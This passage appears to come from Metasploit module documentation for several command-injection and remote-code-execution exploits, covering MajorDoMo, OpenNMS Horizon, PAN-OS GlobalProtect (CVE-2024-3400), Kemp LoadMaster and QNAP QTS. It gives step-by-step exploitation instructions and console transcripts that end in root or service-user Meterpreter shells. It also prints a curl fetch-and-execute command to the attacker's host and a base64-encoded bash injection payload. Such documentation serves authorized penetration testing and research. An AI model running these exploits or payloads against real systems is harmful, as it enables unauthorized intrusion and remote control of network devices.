|
||||
3. Do: `use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917`
|
||||
4. Set the RHOSTS to the target IP address or hostname.
|
||||
5. Do: `run`
|
||||
6. If the target is vulnerable, the exploit will execute the specified payload.
|
||||
|
||||
## Options
|
||||
|
||||
No options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Successful Exploitation against MajorDoMo
|
||||
|
||||
This scenario demonstrates exploiting MajorDoMo on a Linux server.
|
||||
|
||||
**Environment**:
|
||||
- MajorDoMo before 0662e5e
|
||||
- Linux Server or Raspberry Pi
|
||||
- Metasploit Framework
|
||||
|
||||
**Expected Output**:
|
||||
|
||||
```
|
||||
msf6 > search cve_2023_50917
|
||||
|
||||
Matching Modules
|
||||
================
|
||||
|
||||
# Name Disclosure Date Rank Check Description
|
||||
- ---- --------------- ---- ----- -----------
|
||||
0 exploit/linux/http/majordomo_cmd_inject_cve_2023_50917 2023-12-15 excellent Yes MajorDoMo Command Injection
|
||||
|
||||
|
||||
Interact with a module by name or index. For example info 0, use 0 or use exploit/linux/http/majordomo_cmd_inject_cve_2023_50917
|
||||
|
||||
msf6 > use 0
|
||||
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > options
|
||||
Module options (exploit/linux/http/majordomo_cmd_inject_cve_2023_50917):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format typ
|
||||
e:host:port[,type:host:port
|
||||
][...]
|
||||
RHOSTS yes The target host(s), see htt
|
||||
ps://docs.metasploit.com/do
|
||||
cs/using-metasploit/basics/
|
||||
using-metasploit.html
|
||||
RPORT 80 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgo
|
||||
ing connections
|
||||
TARGETURI / yes The URI path to MajorDoMo
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch paylo
|
||||
ad (Accepted: CURL, FT
|
||||
P, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the
|
||||
binary after execution
|
||||
FETCH_FILENAME GRigjGGzCVI no Name to use on remote
|
||||
system when storing pa
|
||||
yload; cannot contain
|
||||
spaces.
|
||||
FETCH_SRVHOST no Local IP to use for se
|
||||
rving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for
|
||||
serving payload
|
||||
FETCH_URIPATH no Local URI to use for s
|
||||
erving payload
|
||||
FETCH_WRITABLE yes Remote writable dir to
|
||||
_DIR store payload; cannot
|
||||
contain spaces.
|
||||
LHOST 192.168.1.5 yes The listen address (an
|
||||
interface may be spec
|
||||
ified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > set rhosts 192.168.1.18
|
||||
rhosts => 192.168.1.18
|
||||
msf6 exploit(linux/http/majordomo_cmd_inject_cve_2023_50917) > exploit
|
||||
[*] Started reverse TCP handler on 192.168.1.5:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 192.168.1.18:80 can be exploited!
|
||||
[+] Target is identified as MajorDoMo instance
|
||||
[*] Performing command injection test issuing a sleep command of 9 seconds.
|
||||
[*] Elapsed time: 9.112166871999989 seconds.
|
||||
[+] The target is vulnerable. Successfully tested command injection.
|
||||
[*] Sending stage (3045380 bytes) to 192.168.1.18
|
||||
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.18:60054) at 2023-12-21 23:56:54 +0100
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data
|
||||
```
|
||||
@@ -0,0 +1,237 @@
|
||||
## Vulnerable Application
|
||||
This module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user.
|
||||
For versions 32.0.2 and higher, this module requires valid credentials for a user
|
||||
with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST.
|
||||
For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges.
|
||||
|
||||
The module first tries to authenticate to the target in order to verify the credentials and obtain the OpenNMS version.
|
||||
Next, the module attempts to obtain the privileges for the current user via the `/rest/users` endpoint
|
||||
and if that fails, via `/rest/filesystem/contents?f=users.xml`.
|
||||
|
||||
The module then uses the obtained OpenNMS version number and user privileges to see if exploitation is possible.
|
||||
|
||||
If the user has `ROLE_FILESYSTEM_EDITOR` privileges and either `ROLE_REST` or `ROLE_ADMIN`,
|
||||
exploitation is attempted directly, regardless of the OpenNMS version.
|
||||
|
||||
If the user has `ROLE_ADMIN` privileges, exploitation is attempted, regardless of the OpenNMS version.
|
||||
In this case, the module will first use the REST API to add `ROLE_FILESYSTEM_EDITOR` privileges for the user.
|
||||
|
||||
If the target is OpenNMS version 32.0.1 or lower and the highest user privileges are `ROLE_FILESYSTEM_EDITOR` or `ROLE_REST`,
|
||||
the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872, respectively.
|
||||
|
||||
Once the user has the required privileges, the module takes the following approach to try and exploit the target:
|
||||
- It uses `/rest/filesystem` to write a payload to a .bsh file on the target
|
||||
- It uses `/rest/filesystem` to create a "notificationCommand" to execute the payload
|
||||
- It uses `/rest/filesystem` to create a "destinationPath" to specify the "notificationCommand"
|
||||
- It uses `/rest/filesystem` to create a "notification" for whenever an invalid login is performed to the web app.
|
||||
This "notification" points to the "destinationPath".
|
||||
- It uses `/rest/events` to reload the OpenNMS configuration
|
||||
- It performs an invalid login to OpenNMS in order to trigger the "notification", which will trigger the payload.
|
||||
The triggering of the payload can take several seconds, which is why the `WfsDelay` option is set to 15 by default.
|
||||
|
||||
|
||||
This module has been successfully tested against OpenNMS version 31.0.7
|
||||
|
||||
## Installation Information
|
||||
OpenNMS is open source software and is available on [GitHub](https://github.com/OpenNMS/opennms).
|
||||
Documentation, including installation information, is available [here](https://docs.opennms.com/horizon/31/index.html).
|
||||
|
||||
The easiest way to install OpenNMS is via docker. This requires creating two docker-compose files,
|
||||
one for the PostgreSQL database and one for OpenNMS Horizon:
|
||||
|
||||
The PostgreSQL docker-compose file should look something like this:
|
||||
```
|
||||
---
|
||||
version: '3'
|
||||
|
||||
volumes:
|
||||
data-postgres: {}
|
||||
|
||||
services:
|
||||
database:
|
||||
image: postgres:15.5
|
||||
container_name: database
|
||||
environment:
|
||||
TZ: 'America/New_York'
|
||||
POSTGRES_USER: 'postgres'
|
||||
POSTGRES_PASSWORD: 'postgres'
|
||||
volumes:
|
||||
- 'data-postgres:/var/lib/postgresql/data'
|
||||
healthcheck:
|
||||
test: [ "CMD-SHELL", "pg_isready -U postgres" ]
|
||||
interval: 10s
|
||||
timeout: 3s
|
||||
retries: 3
|
||||
ports:
|
||||
- '5432:5432/tcp'
|
||||
```
|
||||
|
||||
For OpenNMS Horizon 31.0.8, the OpenNMS Horizon docker-compose file should look something like this, but any other version can be specified:
|
||||
```
|
||||
---
|
||||
version: '3'
|
||||
|
||||
volumes:
|
||||
data-opennms: {}
|
||||
data-config: {}
|
||||
|
||||
services:
|
||||
horizon:
|
||||
image: opennms/horizon:31.0.8
|
||||
container_name: horizon
|
||||
environment:
|
||||
TZ: 'America/New_York'
|
||||
POSTGRES_HOST: '192.168.91.202'
|
||||
POSTGRES_PORT: 5432
|
||||
POSTGRES_USER: 'postgres'
|
||||
POSTGRES_PASSWORD: 'postgres'
|
||||
OPENNMS_DBNAME: 'opennms-core-db'
|
||||
OPENNMS_DBUSER: 'opennms'
|
||||
OPENNMS_DBPASS: 'my-opennms-db-password'
|
||||
volumes:
|
||||
- data-opennms:/opennms-data
|
||||
- data-config:/opt/opennms/etc
|
||||
command: ["-s"]
|
||||
ports:
|
||||
- '8980:8980/tcp'
|
||||
- '8101:8101/tcp'
|
||||
healthcheck:
|
||||
test: [ 'CMD', 'curl', '-f', '-I', 'http://localhost:8980/opennms/login.jsp' ]
|
||||
interval: 1m
|
||||
timeout: 5s
|
||||
retries: 3
|
||||
```
|
||||
The OpenNMS web app will then be available on port 8980. The default credentials are admin:admin.
|
||||
|
||||
## Verification Steps
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/linux/http/opennms_horizon_authenticated_rce`
|
||||
3. Do: `set RHOSTS [IP]`
|
||||
4. Do: `set LHOST [IP]`
|
||||
5. Do: `set FETCH_SRVHOST [IP]`
|
||||
6. Do: `exploit`
|
||||
|
||||
## Options
|
||||
### TARGETURI
|
||||
The base path to OpenNMS. The default value is `/`.
|
||||
|
||||
### USERNAME
|
||||
Username to authenticate with. The default value is `admin`
|
||||
|
||||
### PASSWORD
|
||||
Password to authenticate with. The default value is `admin`
|
||||
|
||||
|
||||
## Advanced Options
|
||||
### PRIVESC_SAVE_DELAY
|
||||
The time in seconds to wait for privesc changes to go into effect. This is used only when escalating privileges via CVE-2023-40315.
|
||||
The default value is `3`.
|
||||
|
||||
## Targets
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-0872
|
||||
```
|
||||
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > options
|
||||
|
||||
Module options (exploit/linux/http/opennms_horizon_authenticated_rce):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD rest yes Password to authenticate with
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 192.168.91.196 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 8980 yes The target port (TCP)
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
TARGETURI /opennms/ yes The base path to OpenNMS
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
USERNAME rest yes Username to authenticate with
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 192.168.91.196 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME fZn no Name to use on remote system when storing payload; cannot contain spaces.
|
||||
FETCH_SRVHOST 192.168.91.196 no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8081 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces.
|
||||
LHOST 192.168.91.196 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Linux
|
||||
|
||||
|
||||
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.91.196:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
|
||||
[+] The target appears to be vulnerable. User rest has ROLE_REST privileges. Exploitation is likely possible via CVE-2023-0872.
|
||||
[+] Successfully escalated privileges by adding ROLE_FILESYSTEM_EDITOR
|
||||
[*] Successfully edited notificationCommands.xml
|
||||
[*] Successfully edited destinationPaths.xml
|
||||
[*] Successfully edited notifications.xml
|
||||
[+] Successfully uploaded the payload to rebxympptby.bsh
|
||||
[*] Triggering the notification to execute the payload
|
||||
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
|
||||
[*] Sending stage (3045380 bytes) to 172.20.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:56974) at 2023-12-13 17:30:55 +0200
|
||||
[*] Attempting cleanup...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: opennms
|
||||
|
||||
```
|
||||
|
||||
### OpenNMS Horizon 31.0.7 - Exploitation via CVE-2023-40315
|
||||
```
|
||||
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set username file
|
||||
username => file
|
||||
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > set password file
|
||||
password => file
|
||||
msf6 exploit(linux/http/opennms_horizon_authenticated_rce) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.91.196:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] The target is OpenNMS version 31.0.7 and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.
|
||||
[+] The target appears to be vulnerable. User file has ROLE_FILESYSTEM_EDITOR privileges. Exploitation is likely possible via CVE-2023-40315.
|
||||
[*] Waiting 3 seconds for the changes to be saved...
|
||||
[+] Successfully escalated privileges by adding ROLE_ADMIN
|
||||
[*] Successfully edited notificationCommands.xml
|
||||
[*] Successfully edited destinationPaths.xml
|
||||
[*] Successfully edited notifications.xml
|
||||
[+] Successfully uploaded the payload to thwjtslfaqsg.bsh
|
||||
[*] Triggering the notification to execute the payload
|
||||
[*] Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.
|
||||
[*] Sending stage (3045380 bytes) to 172.20.0.2
|
||||
[*] Meterpreter session 1 opened (192.168.91.196:4444 -> 172.20.0.2:51914) at 2023-12-13 17:40:16 +0200
|
||||
[*] Attempting cleanup...
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: opennms
|
||||
|
||||
```
|
||||
@@ -0,0 +1,112 @@
|
||||
## Vulnerable Application
|
||||
This module exploits two vulnerabilities in Palo Alto Networks PAN-OS that
|
||||
allow an unauthenticated attacker to create arbitrarily named files and execute
|
||||
shell commands. Configuration requirements are PAN-OS with GlobalProtect Gateway or
|
||||
GlobalProtect Portal enabled and telemetry collection on (default). Affected versions
|
||||
include < 11.1.0-h3, < 11.1.1-h1, < 11.1.2-h3, < 11.0.2-h4, < 11.0.3-h10, < 11.0.4-h1,
|
||||
< 10.2.5-h6, < 10.2.6-h3, < 10.2.8-h3, and < 10.2.9-h1. Payloads may take up to
|
||||
one hour to execute, depending on how often the telemetry service is set to run.
|
||||
|
||||
For a technical analysis of the vulnerability, read our [Rapid7 Analysis](https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis).
|
||||
|
||||
## Testing
|
||||
Boot a vulnerable PAN-OS VM or device, then authenticate to the management web service with default credentials. From the
|
||||
web dashboard, configure a GlobalProtect [Portal](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-portals/set-up-access-to-the-globalprotect-portal)
|
||||
and/or [Gateway](https://docs.paloaltonetworks.com/globalprotect/10-1/globalprotect-admin/globalprotect-gateways/configure-a-globalprotect-gateway).
|
||||
With either or both started, the `gpsvc` service will begin serving an HTTPS service on port 443 for the second
|
||||
network interface. Confirm that the web service presents a Palo Alto Networks login page when viewed. This web application
|
||||
is the target of the exploit, and the '/global-protect/login.esp' page should be accessible.
|
||||
|
||||
The exploit has been tested against PAN-OS 10.2.9, and it should also be effective against other similarly-configured 10.2, 11.0,
|
||||
and 11.1 versions.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. `use exploit/linux/http/panos_telemetry_cmd_exec`
|
||||
3. `set RHOST <TARGET_IP_ADDRESS>`
|
||||
4. `set payload cmd/linux/http/x64/meterpreter_reverse_tcp`
|
||||
5. `set LHOST eth0`
|
||||
6. `check`
|
||||
7. `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Linux Command
|
||||
|
||||
Note: Ensure the target is vulnerable to unauthenticated file creation with the `check` command.
|
||||
|
||||
Note: Since it can take up to one hour to establish code execution, the listener should be left running for that period.
|
||||
|
||||
Note: In the standard PAN-OS configuration, the payload is delivered to the GlobalProtect interface IP, but the shell will return via a different PAN-OS management interface IP.
|
||||
|
||||
```
|
||||
msf6 > use exploit/linux/http/panos_telemetry_cmd_exec
|
||||
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
|
||||
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > show options
|
||||
|
||||
Module options (exploit/linux/http/panos_telemetry_cmd_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI /global-protect/login.esp yes An existing web application endpoint
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND WGET yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME EkcxbboZMyD no Name to use on remote system when storing payload; cannot contain spaces or slashes
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /var/tmp yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Default
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set RHOSTS 192.168.50.226
|
||||
RHOSTS => 192.168.50.226
|
||||
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LHOST 192.168.50.25
|
||||
LHOST => 192.168.50.25
|
||||
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > set LPORT 8585
|
||||
LPORT => 8585
|
||||
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > check
|
||||
[+] 192.168.50.226:443 - The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ipteqmbl-regular.woff2 NOTE: This file will not be deleted
|
||||
msf6 exploit(linux/http/panos_telemetry_cmd_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.50.25:8585
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[+] The target is vulnerable. Arbitrary file write succeeded: /var/appweb/sslvpndocs/global-protect/portal/fonts/glyphicons-ikxrpbmq-regular.woff2 NOTE: This file will not be deleted
|
||||
[*] Depending on the PAN-OS version, it may take the telemetry service up to one hour to execute the payload
|
||||
[*] Though exploitation of the arbitrary file creation vulnerability succeeded, command injection will fail if the default telemetry service has been disabled
|
||||
[*] Meterpreter session 1 opened (192.168.50.25:8585 -> 192.168.50.216:48310) at 2024-04-18 14:53:09 -0500
|
||||
[!] This exploit may require manual cleanup of '/opt/panlogs/tmp/device_telemetry/minute/lyne`echo${IFS}-n${IFS}d2dldCAtcU8gL3Zhci90bXAvdWdWZlhXUnhWIGh0dHA6Ly8xOTIuMTY4LjUwLjI1OjgwODAvcUpPXzJ2MUFPVkRIc2hsVVIyRHVzQTsgY2htb2QgK3ggL3Zhci90bXAvdWdWZlhXUnhWOyAvdmFyL3RtcC91Z1ZmWFdSeFYgJg==|base64${IFS}-d|bash${IFS}-`' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: root
|
||||
meterpreter > sysinfo
|
||||
Computer : 192.168.50.216
|
||||
OS : CentOS 8.3.2011 (Linux 4.18.0-240.1.1.20.pan.x86_64)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter >
|
||||
```
|
||||
+97
@@ -0,0 +1,97 @@
|
||||
## Vulnerable Application
|
||||
CVE-2024-1212: Progress Kemp LoadMaster Unauthenticated Command Injection
|
||||
|
||||
For more details on the vulnerability:
|
||||
https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/
|
||||
|
||||
https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212
|
||||
|
||||
A trial VM which the exploit should work against out of the box can be downloaded from:
|
||||
https://sso.kemptechnologies.com/register/kemp/vlm
|
||||
|
||||
The AWS marketplace also has free trials which can be used. These require the "session management" to be enabled in order for the exploit to work. Since by default the admin WUI is behind basic auth.
|
||||
https://aws.amazon.com/marketplace/pp/prodview-kgh3dsfk7qcnw
|
||||
|
||||
## Verification Steps
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: `use exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection`
|
||||
1. Do: `set RHOSTS <target loadmaster>`
|
||||
1. Do: `set RPORT <port loadmaster is running on>`
|
||||
1. Do: `set LHOST <your host IP>`
|
||||
1. Do: `run`
|
||||
1. You should get a shell as the `bal` user.
|
||||
1. (Optional) use the module `exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024` to gain root privileges.
|
||||
1. (Optional) use the script `run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc` to automatically run the above module.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### LoadMaster 7.2.59.0.22007
|
||||
|
||||
``` msf
|
||||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > show options
|
||||
|
||||
Module options (exploit/linux/http/progress_kemp_loadmaster_unauth_cmd_injection):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOSTS 10.5.134.141 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
|
||||
asploit.html
|
||||
RPORT 443 yes The target port (TCP)
|
||||
SSL true no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes The URI path to LoadMaster
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
|
||||
FETCH_DELETE false yes Attempt to delete the binary after execution
|
||||
FETCH_FILENAME GyzwtIbxq no Name to use on remote system when storing payload; cannot contain spaces or slash
|
||||
es
|
||||
FETCH_SRVHOST no Local IP to use for serving payload
|
||||
FETCH_SRVPORT 8080 yes Local port to use for serving payload
|
||||
FETCH_URIPATH no Local URI to use for serving payload
|
||||
FETCH_WRITABLE_DIR /tmp/ yes Remote writable dir to store payload; cannot contain spaces
|
||||
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
|
||||
View the full module info with the info, or info -d command.
|
||||
|
||||
msf6 exploit(linux/http/progress_kemp_loadmaster_unauth_cmd_injection) > run
|
||||
|
||||
[*] Command to run on remote host: curl -so /tmp/LlipoMVy http://10.5.135.201:8080/RByzlSnTzclKDpvXskXIrg; chmod +x /tmp/LlipoMVy; /tmp/LlipoMVy &
|
||||
[*] Fetch handler listening on 10.5.135.201:8080
|
||||
[*] HTTP server started
|
||||
[*] Adding resource /RByzlSnTzclKDpvXskXIrg
|
||||
[*] Started reverse TCP handler on 10.5.135.201:4444
|
||||
[*] Running automatic check ("set AutoCheck false" to disable)
|
||||
[*] Checking if 10.5.134.141:443 is vulnerable...
|
||||
[+] The target is vulnerable.
|
||||
[*] Sending payload...
|
||||
[*] Client 10.5.134.141 requested /RByzlSnTzclKDpvXskXIrg
|
||||
[*] Sending payload to 10.5.134.141 (curl/7.77.0)
|
||||
[+] Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell
|
||||
[*] Meterpreter session 1 opened (10.5.135.201:4444 -> 10.5.134.141:29264) at 2024-04-12 17:08:57 -0500
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : 10.5.134.141
|
||||
OS : SuSE 7.2 (Linux 4.14.137)
|
||||
Architecture : x64
|
||||
BuildTuple : x86_64-linux-musl
|
||||
Meterpreter : x64/linux
|
||||
meterpreter > getuid
|
||||
Server username: bal
|
||||
```
|
||||
@@ -0,0 +1,199 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
There exists an unauthenticated command injection vulnerability in the QNAP operating system known as QTS and
|
||||
QuTS hero. QTS is a core part of the firmware for numerous QNAP entry and mid-level Network Attached Storage
|
||||
(NAS) devices, and QuTS hero is a core part of the firmware for numerous QNAP high-end and enterprise NAS devices.
|
||||
|
||||
The vulnerable endpoint is the quick.cgi component, exposed by the device’s web based administration feature.
|
||||
The quick.cgi component is present in an uninitialized QNAP NAS device. This component is intended to be used
|
||||
during either manual or cloud based provisioning of a QNAP NAS device. Once a device has been successfully
|
||||
initialized, the quick.cgi component is disabled on the system.
|
||||
|
||||
An attacker with network access to an uninitialized QNAP NAS device may perform unauthenticated command
|
||||
injection, allowing the attacker to execute arbitrary commands on the device.
|
||||
|
||||
### Setup
|
||||
Vulnerable firmware can be downloaded from:
|
||||
[TS-X64_20230926-5.1.2.2533.zip](https://download.qnap.com/Storage/TS-X64/TS-X64_20230926-5.1.2.2533.zip)
|
||||
In order to decrypt the firmware use the following script:
|
||||
[qnap-qts-fw-cryptor.py](https://gist.github.com/ulidtko/966277a465f1856109b2d2674dcee741)
|
||||
|
||||
Unzip the archive:
|
||||
```
|
||||
user@dev:~/qnap/$ unzip TS-X64_20230926-5.1.2.2533.zip
|
||||
Archive: TS-X64_20230926-5.1.2.2533.zip
|
||||
inflating: TS-X64_20230926-5.1.2.2533.img
|
||||
```
|
||||
|
||||
Decrypt the firmware:
|
||||
```
|
||||
user@dev:~/qnap/$ python3 qnap-qts-fw-cryptor.py d QNAPNASVERSION5 TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz
|
||||
Signature check OK, model TS-X64, version 5.1.2
|
||||
Encrypted 1048576 of all 220239236 bytes
|
||||
[99% left]
|
||||
[99% left]
|
||||
[99% left]
|
||||
...snip
|
||||
[02% left]
|
||||
[00% left]
|
||||
[00% left]
|
||||
user@dev:~/qnap/$ ls
|
||||
qnap-qts-fw-cryptor.py TS-X64_20230926-5.1.2.2533.img TS-X64_20230926-5.1.2.2533.tgz TS-X64_20230926-5.1.2.2533.zip
|
||||
```
|
||||
|
||||
Recreate the root file system:
|
||||
```
|
||||
user@dev:~/qnap/$ mkdir firmware
|
||||
user@dev:~/qnap/$ tar -xvzf TS-X64_20230926-5.1.2.2533.tgz -C ./firmware/
|
||||
user@dev:~/qnap/$ binwalk -e firmware/initrd.boot
|
||||
user@dev:~/qnap/$ binwalk -e firmware/_initrd.boot.extracted/0
|
||||
user@dev:~/qnap/$ binwalk -e firmware/rootfs2.bz
|
||||
user@dev:~/qnap/$ binwalk -e firmware/_rootfs2.bz.extracted/0
|
||||
user@dev:~/qnap/$ mv firmware/_rootfs2.bz.extracted/_0.extracted/* firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
|
||||
```
|
||||
|
||||
To run the Firmware first copy the qemu-x86_64-static binary into the root file system folder:
|
||||
```
|
||||
user@dev:~/qnap/$ cd firmware/_initrd.boot.extracted/_0.extracted/cpio-root/
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ cp $(which qemu-x86_64-static) .
|
||||
```
|
||||
|
||||
Run _thttpd_ via QEMU:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$
|
||||
sudo chroot . ./qemu-x86_64-static usr/local/sbin/_thttpd_ -p 8080 -nor -nos -u admin -d /home/httpd -c '**.*' -h 0.0.0.0 -i /var/lock/._thttpd_.pid
|
||||
```
|
||||
|
||||
Verify the HTTP server is running:
|
||||
```
|
||||
user@dev:~/qnap/firmware/_initrd.boot.extracted/_0.extracted/cpio-root$ sudo netstat -lnp | grep 8080
|
||||
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 1195417/./qemu-x86_
|
||||
```
|
||||
|
||||
At the time of writing `/dev/random` and `/dev/urandom` are required to be present in the environment in order to work
|
||||
around the following issue: https://github.com/rapid7/mettle/issues/255.
|
||||
Ensure the binaries exist on your system:
|
||||
```
|
||||
